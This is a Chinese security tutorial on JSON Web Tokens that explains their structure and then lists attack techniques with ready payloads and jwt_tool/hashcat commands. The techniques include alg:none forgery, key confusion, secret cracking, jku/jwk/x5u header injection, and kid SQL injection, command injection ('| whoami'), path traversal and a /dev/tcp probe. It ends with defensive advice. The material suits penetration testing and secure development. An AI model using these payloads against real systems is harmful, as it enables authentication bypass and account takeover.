跳转至

JWT攻击手法

JWT认证原理

什么是JWT

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).

该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。

JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

JWT的组成

JWT生成编码后的样子

Text Only
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.UQmqAUhUrpDVV2ST7mZKyLTomVfg7sYkEjmdDI5XF8Q

JWT由三部分构成

第一部分我们称它为头部(header),第二部分我们称其为载荷(payload),第三部分是签名(signature).

jwt的头部承载两部分信息:

  • 声明类型,这里是jwt
  • 声明加密的算法 通常直接使用 HMAC SHA256

完整的头部就像下面这样的JSON:

Arduino
{  'typ': 'JWT',  'alg': 'HS256'}

然后将头部进行base64加密(该加密是可以对称解密的),构成了第一部分

Text Only
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
playload

载荷就是存放有效信息的地方,这些有效信息包含三个部分

  • 标准中注册的声明
  • 公共的声明
  • 私有的声明
JSON
{ 
    "iss": "admin", 
    "iat": 1416794566, 
    "exp": 1558333419, 
    "aud": "www.example.com", 
    "sub": "admin@example.com", 
    "GivenName": "admin", 
    "Surname": "root", 
    "Email": "aroot@example.com", 
    "Role": [ "Manager", "Project Administrator" ] 
}

标准中注册的声明 (建议但不强制使用) :

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间,这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前,该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 :

公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 :

私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。

定义一个payload:

JSON
{  "sub": "1234567890",  "name": "John Doe",  "admin": true}

然后将其进行base64加密,得到Jwt的第二部分

Text Only
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9
signature

jwt的第三部分是一个签证信息,这个签证信息由三部分组成:

  • header (base64后的)
  • payload (base64后的)
  • secret

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串(头部在前),然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。

Text Only
UQmqAUhUrpDVV2ST7mZKyLTomVfg7sYkEjmdDI5XF8Q

密钥secret是保存在服务端的,服务端会根据这个密钥进行生成token和验证,所以需要保护好。

签名的目的

最后一步签名的过程,实际上是对头部以及载荷内容进行签名。一般而言,加密算法对于不同的输入产生的输出总是不一样的。对于两个不同的输入,产生同样的输出的概率极其地小(有可能比我成世界首富的概率还小)。所以,我们就把“不一样的输入产生不一样的输出”当做必然事件来看待吧。

所以,如果有人对头部以及载荷的内容解码之后进行修改,再进行编码的话,那么新的头部和载荷的签名和之前的签名就将是不一样的。而且,如果不知道服务器加密的时候用的密钥的话,得出来的签名也一定会是不一样的。

服务器应用在接受到JWT后,会首先对头部和载荷的内容用同一算法再次签名。那么服务器应用是怎么知道我们用的是哪一种算法呢?别忘了,我们在JWT的头部中已经用alg字段指明了我们的加密算法了。

如果服务器应用对头部和载荷再次以同样方法签名之后发现,自己计算出来的签名和接受到的签名不一样,那么就说明这个Token的内容被别人动过的,我们应该拒绝这个Token,返回一个HTTP 401 Unauthorized响应。

注意:在JWT中,不应该在载荷里面加入任何敏感的数据,比如用户的密码。

JWT整体结构:

Text Only
base64(header).base64(payload).HMAC/RSA(base64UrlEncode(header)+"."+base64UrlEncode(payload),secret)

值得注意的是,编码header和payload时使用的编码方式为base64urlencode,base64url编码是base64的修改版,为了方便在网络中传输使用了不同的编码表,它不会在末尾填充"="号,并将标准Base64中的"+"和"/"分别改成了"-"与"_"

如何应用

一般是在请求头里加入Authorization,并加上Bearer标注:

PHP
fetch('api/user/1', {  headers: {    'Authorization': 'Bearer ' + token  }})

服务端会验证token,如果验证通过就会返回相应的资源。

安全相关

  • 不应该在jwt的payload部分存放敏感信息,因为该部分是客户端可解密的部分。
  • 保护好secret私钥,该私钥非常重要。
  • 如果可以,请使用https协议

对Token认证的五点认识

  • 一个Token就是一些信息的集合;
  • 在Token中包含足够多的信息,以便在后续请求中减少查询数据库的几率;
  • 服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查;
  • 基于上一点,你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端;
  • 因为token是被签名的,所以我们可以认为一个可以解码认证通过的token是由我们系统发放的,其中带的信息是合法有效的;

传统的session认证

我们知道,http协议本身是一种无状态的协议,而这就意味着如果用户向我们的应用提供了用户名和密码来进行用户认证,那么下一次请求时,用户还要再一次进行用户认证才行,因为根据http协议,我们并不能知道是哪个用户发出的请求,所以为了让我们的应用能识别是哪个用户发出的请求,我们只能在服务器存储一份用户登录的信息,这份登录信息会在响应时传递给浏览器,告诉其保存为cookie,以便下次请求时发送给我们的应用,这样我们的应用就能识别请求来自哪个用户了,这就是传统的基于session认证。

但是这种基于session的认证使应用本身很难得到扩展,随着不同客户端用户的增加,独立的服务器已无法承载更多的用户,而这时候基于session认证应用的问题就会暴露出来。

基于session认证所显露的问题

Session: 每个用户经过我们的应用认证之后,我们的应用都要在服务端做一次记录,以方便用户下次请求的鉴别,通常而言session都是保存在内存中,而随着认证用户的增多,服务端的开销会明显增大。

扩展性: 用户认证之后,服务端做认证记录,如果认证的记录被保存在内存中的话,这意味着用户下次请求还必须要请求在这台服务器上,这样才能拿到授权的资源,这样在分布式的应用上,相应的限制了负载均衡器的能力。这也意味着限制了应用的扩展能力。

CSRF: 因为是基于cookie来进行用户识别的, cookie如果被截获,用户就会很容易受到跨站请求伪造的攻击。

基于token的鉴权机制的优势

基于token的鉴权机制类似于http协议也是无状态的,它不需要在服务端去保留用户的认证信息或者会话信息。这就意味着基于token认证机制的应用不需要去考虑用户在哪一台服务器登录了,这就为应用的扩展提供了便利。

流程上是这样的:

  • 用户使用用户名密码来请求服务器
  • 服务器进行验证用户的信息
  • 服务器通过验证发送给用户一个token
  • 客户端存储token,并在每次请求时附送上这个token值
  • 服务端验证token值,并返回数据

这个token必须要在每次请求时传递给服务端,它应该保存在请求头里, 另外,服务端要支持CORS(跨来源资源共享)策略,一般我们在服务端这么做就可以了 Access-Control-Allow-Origin:*。

token的优点

  • 支持跨域访问: Cookie是不允许垮域访问的,这一点对Token机制是不存在的,前提是传输的用户认证信息通过HTTP头传输。
  • 无状态(也称:服务端可扩展行):Token机制在服务端不需要存储session信息,因为Token 自身包含了所有登录用户的信息,只需要在客户端的cookie或本地介质存储状态信息。
  • 更适用CDN: 可以通过内容分发网络请求你服务端的所有资料(如:javascript,HTML,图片等),而你的服务端只要提供API即可。
  • 去耦: 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成,只要在你的API被调用的时候,你可以进行Token生成调用即可。
  • 更适用于移动应用: 当你的客户端是一个原生平台(iOS, Android,Windows 8等)时,Cookie是不被支持的(你需要通过Cookie容器进行处理),这时采用Token认证机制就会简单得多。
  • CSRF:因为不再依赖于Cookie,所以你就不需要考虑对CSRF(跨站请求伪造)的防范。
  • 性能: 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多。
  • 不需要为登录页面做特殊处理: 如果你使用Protractor 做功能测试的时候,不再需要为登录页面做特殊处理。
  • 基于标准化:你的API可以采用标准化的 JSON Web Token (JWT). 这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如:Firebase,Google, Microsoft)。
  • 因为json的通用性,所以JWT是可以进行跨语言支持的,像JAVA,JavaScript,NodeJS,PHP等很多语言都可以使用。
  • 因为有了payload部分,所以JWT可以在自身存储一些其他业务逻辑所必要的非敏感信息。
  • 便于传输,jwt的构成非常简单,字节占用很小,所以它是非常便于传输的。
  • 它不需要在服务端保存会话信息, 所以它易于应用的扩展。

JWT vs JWS vs JWE

JWT规范实际上非常有限。它只定义了一种格式,用于将信息(“声明”)表示为可以在两方之间传输的JSON对象。实际上,JWT并不是真正用作独立实体。JWT规范由JSON Web Signature(JWS)和JSON Web Encryption(JWE)规范扩展,它们定义了实际实现JWT的具体方法。

image.png

换句话说,JWT通常是JWS或JWE token。当人们使用术语“JWT”时,他们几乎总是指JWS token。JWE非常相似,只是token的实际内容是加密的,而不仅仅是编码的。后面文中的JWT多指JWS,即使某些漏洞确实也适用于JWE。

  • JWS:Signed JWT,签名过的JWT
  • JWK:JWT的密钥,也就是我们常说的SECRET
  • JWE:Encrypted JWT部分payload经过加密的JWT
  • JKU:JKU(JSON Web Key Set URL)是JWT Header中的一个字段,字段内容是一个URI,该URI用于指定用于验证令牌秘钥的服务器,该服务器用于回复JWK
  • X5U:X5U是JWT Header中的一个字段,指向一组X509公共证书的URL,与JKU功能类似
  • X.509标准:X.509标准是密码学里公钥证书的格式标准,包括TLS/SSL(WWW万维网安全浏览的基石)在内的众多Internet协议都应用了X.509证书)

JWT工作原理

JWT的工作流程如下:

  • 用户在客户端登录并将登录信息发送给服务器
  • 服务器使用私钥对用户信息进行加密生成JWT并将其发送给客户端
  • 客户端将JWT存储在本地,每次向服务器发送请求时携带JWT进行认证
  • 服务器使用公钥对JWT进行解密和验证,根据JWT中的信息进行身份验证和授权
  • 服务器处理请求并返回响应,客户端根据响应进行相应的操作

JKU工作原理

Step 1:用户携带JWS(带有签名的JWT)访问应用 img Step 2:应用程序解码JWS得到JKU字段 img Step 3:应用根据JKU访问返回JWK的服务器 img Step 4:应用程序得到JWK img Step 5:使用JWK验证用户JWS img Step 6:验证通过则正常响应

img

JWT常见利用点

而对于JWT来说,它所面临的安全问题则更加棘手。这是因为JWT是一种非常复杂的机制,如上文所述,其包含JWT、JWS、JWE、JWK、多种密码算法、两种不同的编码方式(或者说序列化)、压缩、可能采用不止一种签名、对多个收件人的加密——这其中无论哪一个微小的环节出问题,都会导致漏洞的产生。

Origin

It's important to determine whether the token was generated server-side or client-side by examining the proxy's request history.

  • Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
  • Tokens originating server-side indicate a secure process.

Duration

Check if the token lasts more than 24h... maybe it never expires. If there is a "exp" filed, check if the server is correctly handling it.

Header

  1. 是否支持修改算法为none/对称加密算法
  2. 是否可以删除签名
  3. 插入错误信息
  4. kid字段是否有SQL注入/命令注入/目录遍历
  5. jwk元素是否可信
  6. 是否强制使用白名单上的加密算法

Payload

其中是否存在敏感信息检查过期策略,比如 exp, iat

Signature

  1. 检查是否强制检查签名
  2. 密钥是否可以爆破(如HMAC)
  3. 是否可以通过其他方式拿到密钥
  4. 采用了自身存在脆弱性的算法(如ECDH-ES)
  5. 签名方法之间是否存在冲突

其他

  1. 重放
  2. 通过匹配校验的时间做时间攻击
  3. 修改算法非对称算法为对称算法(如修改RS256为HS256)
  4. 弱密钥破解
  5. 不安全的配置所导致的敏感信息泄露(如在报错信息中泄露签名)

示例

被泄露的敏感信息

由于Header和Payload部分是使用可逆base64方法编码的,因此任何能够看到令牌的人都可以读取数据。可以通过base64decode分别将每个部分解码就可以去阅读token内的数据。

**防御措施:**由于其中明文传递的username和password都是可以看到的,因此,Token不能随意公布,发送的数据不得包含任何敏感数据(例如密码)

将算法修改为none

算法是指将Header部分的alg(全称algorithm),也就是alg字段被设置为空,那么SIGNATURE的签名部分将被置空,这样的话任何token都将是有效的

设定该功能的最初目的是为了方便调试。但是,若不在生产环境中关闭该功能,攻击者可以通过将alg字段设置为“None”来伪造他们想要的任何token,接着便可以使用伪造的token冒充任意用户登陆网站。

例如:

Text Only
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJhY3Rpb24iOiJ1cGxvYWQifQ.

这就是将alg设置为none的结果,解构后的JWT为:

JSON
{"typ":"JWT","alg":"none"}.

{"user":"admin","action":"upload"}.

[No signature!]

那么如果返回页面为有效页面那么攻击成功,存在此种漏洞,反之不存在

**防御措施:**JWT配置应该指定所需的签名算法,不要指定”none”。(也就是必须是用此种算法得来的token才会被接受)

密钥混淆攻击

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

If you change the algorithm from RS256 to HS256, the back end code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

Then, using the public key and changing RS256 to HS256 we could create a valid signature. You can retrieve the certificate of the web server executing this:

Bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

防御措施:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。

Note

更多参考:https://portswigger.net/web-security/jwt/algorithm-confusion

无效签名攻击

无效签名是指当用户端提交请求给应用程序,服务端可能没有对token签名进行校验,这样,攻击者便可以通过提供无效签名简单地绕过安全机制。

实际上,就和上面将算法置空很像,同样是签名无效了,导致攻击者只需要更换user参数就可以实现越权访问,可能是横向越权也可能是纵向越权

防御措施:严格审核JWT签名

暴力破解密钥或密钥泄露

在实施JWT应用程序时,开发人员有时会犯错误,例如忘记更改默认或占位密钥。他们甚至可能复制并粘贴他们在网上找到的代码片段,然后忘记更改作为示例提供的硬编码密钥。在这种情况下,攻击者使用常见密钥字典来暴力破解服务器的密钥可能是小菜一碟。

HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,这意味着对令牌进行签名的密钥也用于对其进行验证。由于签名验证是一个自包含的过程,因此可以测试令牌本身的有效密钥,而不必将其发送回应用程序进行验证。

我们可以利用github上的工具c-jwt-cracker来完成,但是局限性很大。

首先秘钥不能太复杂,其次还需要一段已知的签过名的token。

如果可以破解HMAC密钥,则可以伪造令牌中的任何内容,攻击者就可以随意的进行越权。

如果我们无法通过暴力破解,那么可以通过其他手段得到密钥也可以实现伪造令牌的任何内容,实现各种操作

使用hashcat爆破密钥

例如这样:

Text Only
hashcat -a 0 -m 16500 <jwt> <wordlist>

Hashcat使用字典中的每个密钥对来自JWT的标和payload进行签名,然后将生成的签名与来自服务器的原始签名进行比较。如果任何签名匹配,hashcat将以下列格式输出已识别的密钥,以及各种其他详细信息:

Text Only
<jwt>:<已识别的密钥>

由于hashcat在我们的机器上本地运行并且不依赖于向服务器发送请求,因此这个过程非常快,即使在使用庞大的单词列表时也是如此。 确定密钥后,我们可以使用它定制JWT头和payload同时生成有效签名。

如果服务器使用了一个非常弱的密钥,甚至可以逐个字符地暴力破解,而不是使用字典。

操纵头部参数

除KID外,JWT标准还能让开发人员通过URL指定密钥。

下面是可以用来进行密钥指定的头部参数:

JKU

一些服务器不再直接使用 jwk 头部参数来嵌入公钥,而是允许使用 jku (JWK 集合 URL)头部参数来引用包含公钥的 JWK 集合。在验证签名时,服务器会从该 URL 获取相关的公钥,

JSON
   {
     "alg": "RS256",
     "jku": "http://whitelist-jwks.json",
     "typ": "JWT"
   }

链接的json文件示例如下:

JSON
{
    "keys": [
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "75d0ef47-af89-47a9-9061-7c02a610d5ab",
            "n": "o-yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9mk6GPM9gNN4Y_qTVX67WhsN3JvaFYw-fhvsWQ"
        },
        {
            "kty": "RSA",
            "e": "AQAB",
            "kid": "d8fDFo-fS9-faS14a9-ASf99sa-7c1Ad5abA",
            "n": "fc3f-yy1wpYmffgXBxhAUJzHql79gNNQ_cb33HocCuJolwDqmk6GPM4Y_qTVX67WhsN3JvaFYw-dfg6DH-asAScw"
        }
    ]
}

通常而言,服务端会校验jku指向的文件是否在白名单中,但如果服务端没有相关校验,那么攻击者可以使用自己的**私钥**签发一个恶意的 JWT(例如将 Payload 中的 "role": "admin"),并在 Header 中注入自己的 jku 地址,从而实现攻击,此外,还可能引发 SSRF(服务端请求伪造),攻击者可诱导服务器访问内网敏感接口

JWK

JWK(JSON Web Key)是一种标准化的格式,用于将密钥表示为 JSON 对象形式。

JSON Web 签名(JWS)规范定义了一个可选的 jwk 头部参数,服务器可以使用这个参数将他们的公共密钥直接嵌入到令牌中,以 JWK 格式呈现。

你可以在下面的 JSON Web Token 头部中看到这个的例子:

JSON
{
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "e": "AQAB",
        "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
        "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
    }
}

理想情况下,服务器应该只使用白名单中的公钥来验证 JWT 签名。然而,在一些配置错误的服务器中,有时会使用任何嵌入在 jwk 参数中的密钥来进行验证。

你可以通过使用自己的 RSA 私钥签署修改后的 JWT 令牌,然后将相应的公钥嵌入到 jwk 头部中,以此来利用这种行为进行攻击。

虽然你可以手动添加或修改 Burp 中的 jwk 参数,但 JWT 编辑器扩展提供了一个有用的功能,可以帮助你测试这一漏洞:

  • 在已加载扩展功能的情况下,在 Burp 的主菜单栏中,找到 JWT 编辑器键选项卡
  • 生成一个新的 RSA 密钥
  • 向 Burp Repeater 发送一个包含 JWT 的请求
  • 在消息编辑界面中,切换到扩展生成的 JSON Web Token 标签,然后按照你的需求修改该令牌的数据内容
  • 点击“点击攻击”按钮,然后选择“嵌入式 JWK”。当出现提示时,请选择你新生成的 RSA 密钥
  • 发送该请求,测试服务器的反应情况
KID

服务器可能会使用多个加密密钥来签名不同类型的数据,而不仅仅是 JWT 令牌。因此,JWT 头的头部可能包含 kid 参数(密钥 ID),这个参数有助于服务器在验证签名时确定使用哪个密钥。

验证密钥通常是以 JWK 集合的形式存储的。在这种情况下,服务器只需查找与令牌具有相同 kid 参数的 JWK 即可。不过,JWS 规范并没有为这种标识符定义具体的结构——它只是开发者随意选择的任意字符串而已。例如,他们可以使用 kid 参数来指向数据库中的特定条目,或者甚至使用文件的名称作为标识符。

例如:

JSON
{
"alg": "HS256",
"typ": "JWT",
"kid": "1"         //使用密钥1验证token
//“kid”:”/home/jwt/1.pem”  //这个kid参数还可以是文件路径
}

由于kid参数是用户可控的,那么攻击者就可以用来构造攻击,比如服务器更新了密钥,但是旧的密钥并未删除且该密钥已经被攻击者所知,或者通过ftp等渠道上传了密钥,那么就会导致攻击者能够直接控制签名验证从而绕过签名

KID的其他攻击利用方式:

Revealing Key through "kid"

When the kid claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if "kid":"key/12345" is specified, the files /key/12345 and /key/12345.pem should be searched for in the web root.

**sql**注入

KID也可以用于在数据库中检索密钥。在该情况下,攻击者很可能会利用SQL注入来绕过JWT安全机制。

通过对KID的修改,导致数据库信息泄露

例如:

SQL
"kid":"1 ' UNION SELECT 'key';-- -"  //使用字符串"key"验证token

This alteration forces the use of a known secret key, key, for JWT signing.

RCE

有时候服务器会直接通过函数对KID文件进行调用,这时候我们可以通过这类函数执行系统命令,例如Ruby open()。攻击者只需在输入的KID文件名后面添加命令,即可执行系统命令

Text Only
"kid": "key_file" | whoami;
# or
"kid": "key_file"; whoami;

理论上,每当应用程序将未审查的头部文件参数传递给类似system(),exec()的函数时,都会产生此种漏洞。

Path Traversal with "kid"

如果此参数也容易受到目录遍历攻击,那么攻击者就有可能迫使服务器使用其文件系统中的任意文件作为验证密钥。

JSON
{
    "kid": "../../path/to/file",
    "typ": "JWT",
    "alg": "HS256",
    "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

这种情况尤其危险,因为如果服务器还支持使用对称算法签名的 JWT 令牌的话。在这种情况下,攻击者可以将 kid 参数指向一个可预测的、固定的文件,然后使用该文件中包含的密钥来签署 JWT 令牌。

理论上,你可以对任何文件进行这样的操作。但最简单的方法之一就是使用 /dev/null 符号,这个符号在大多数 Linux 系统中都存在。由于这是一个空文件,读取它后会得到空字符串。因此,用空字符串来签名该令牌后,就能得到有效的签名了。

Bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

任意文件读取

kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。

JSON
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}
X5U/X5C

和JKU,JWK类似,攻击者可以通过对这种头部参数的控制决定验证Token的公钥证书或证书链。但是不同的是x5u以URI形式指定信息,而x5c允许将证书值嵌入token中。

  • x5u

X.509 URL. A URI pointing to a set of X.509 (a certificate format standard) public certificates encoded in PEM form. The first certificate in the set must be the one used to sign this JWT. The subsequent certificates each sign the previous one, thus completing the certificate chain. X.509 is defined in RFC 52807 . Transport security is required to transfer the certificates.

Try to change this header to an URL under your control and check if any request is received. In that case you could tamper the JWT.

To forge a new token using a certificate controlled by you, you need to create the certificate and extract the public and private keys:

Bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Then you can use for example jwt.io to create the new JWT with the created public and private keys and pointing the parameter x5u to the certificate .crt created.

You can also abuse both of these vulns for SSRFs.

  • x5c

This parameter may contain the certificate in base64:

If the attacker generates a self-signed certificate and creates a forged token using the corresponding private key and replace the "x5c" parameter’s value with the newly generatedcertificate and modifies the other parameters, namely n, e and x5t then essentially the forgedtoken would get accepted by the server.

Bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

JWT认证机制漏洞利用 - FreeBuf网络安全行业门户

文章 - JWT渗透姿势一篇通 - 先知社区

JWT工具

jwt_tool

  • 解析JWT
Bash
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ

image.png

  • 爆破密钥
Bash
python jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ -C -d jwt-common.txt
  • 攻击
Bash
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a

  -X EXPLOIT, --exploit EXPLOIT
                        eXploit known vulnerabilities:
                        a = alg:none
                        n = null signature
                        b = blank password accepted in signature
                        p = 'psychic signature' accepted in ECDSA signing
                        s = spoof JWKS (specify JWKS URL with -ju, or set in jwtconf.ini to automate this attack)
                        k = key confusion (specify public key with -pk)
                        i = inject inline JWKS
  • 扫描
Bash
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb

-M MODE, --mode MODE  Scanning mode:
                        pb = playbook audit
                        er = fuzz existing claims to force errors
                        cc = fuzz common claims
                        at - All Tests!
# -rc表示传递cookie值,-rh表示传递请求头

漏洞利用

  • CVE-2015-9235

使用jwt_too进行攻击(该工具适用于不改变原有payload的数据的基础上而没有签名算法获得的token)

Text Only
python3 jwt_tool.py    eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg  -X a

image.png

得到签名算法为none/NONE/None/nOnE认证的token

Text Only
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.
  • CVE-2016-5431

You'll need an RSA Public Key to test this. Sometimes the application provides this via an API, or something hidden in the docs. Check out Finding Public Keys for more tips. You will also need to use the right format of the Public Key. If the key is provided then you're fine, if not then best guess is PEM format. Note that PEM should contain a single newline character at the end, however some tools may miss this off when exporting a key. Use jwt_tool's -V flag alongside the -pk public.pem argument to verify that the Public Key you found matches the key used to sign the token Use jwt_tool's Key-Confusion exploit mode to forge a new attack token

Bash
python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem
  • If page returns valid then you have a bypass - go tampering.

  • CVE-2018-0114

jwk是header里的一个参数,用于指出密钥,存在被伪造的风险。 攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。

Text Only
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i

image.png

  • CVE-2020-28042

从令牌末尾删除签名

Text Only
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n

image.png

  • "kid" issues - reveal key:

If the claim "kid" is used in the header, check the web directory for that file or a variation of it. For example if "kid":"key/12345” then look for /key/12345 and /key/12345.pem on the web root.

  • "kid" issues - path traversal:

If the claim "kid" is used in the header, check if you can use a different file in the file system. Pick a file you might be able to predict the content of, or maybe try "kid":"/dev/tcp/yourIP/yourPort to test connectivity, or even some SSRF payloads... Use jwt_tool to tamper the JWT and change the value of the kid claim, then choose to keep the original signature

Bash
python3 jwt_tool.py JWT_HERE -T

jwt-cracker

该工具仅限于单一的签名算法(HS256) ,如果提供了不同的签名算法,则无法进行操作

https://github.com/lmammino/jwt-cracker

image.png

hashcat

Bash
 hashcat -a 0 -m 16500 jwt.txt wordlist.txt

c-jwt-cracker

是暴力破解 JWT 私钥的工具。

https://github.com/brendan-rius/c-jwt-cracker

如何防御JWT攻击

通过采取以下一些高级措施,你可以保护自己的网站免受我们提到的各种攻击的侵害:

  • 使用最新的 JWT 处理库,并确保开发人员完全了解其工作原理以及相关的安全注意事项。现代库使得人们难以不小心地采用不安全的实现方式来处理 JWT 数据,但由于相关规范本身的灵活性,这并不能完全避免安全问题
  • 请确保对接收到的所有 JSON Web 令牌进行严格的签名验证,并考虑到一些边缘情况,比如使用非预期算法进行签名的 JSON Web 令牌
  • 对 jku 头部字段,需实施严格的允许主机白名单制度
  • 请确保您不会因 kid 头部参数而受到路径遍历或 SQL 注入攻击的影响

虽然避免引入漏洞并非绝对必要的,但我们建议在应用程序中使用 JWT 时遵循以下最佳实践:

  • 无论你使用哪些token,都务必为其设定一个有效期
  • 尽可能避免将token作为 URL 参数进行传输
  • 请包含 aud (目标受众)标识(或类似标识),以明确令牌的接收者。这样就能确保令牌只会被用于指定的网站上,避免被滥用
  • 启用发行服务器来撤销令牌(例如,在用户登出时)

参考文章

https://portswigger.net/web-security/jwt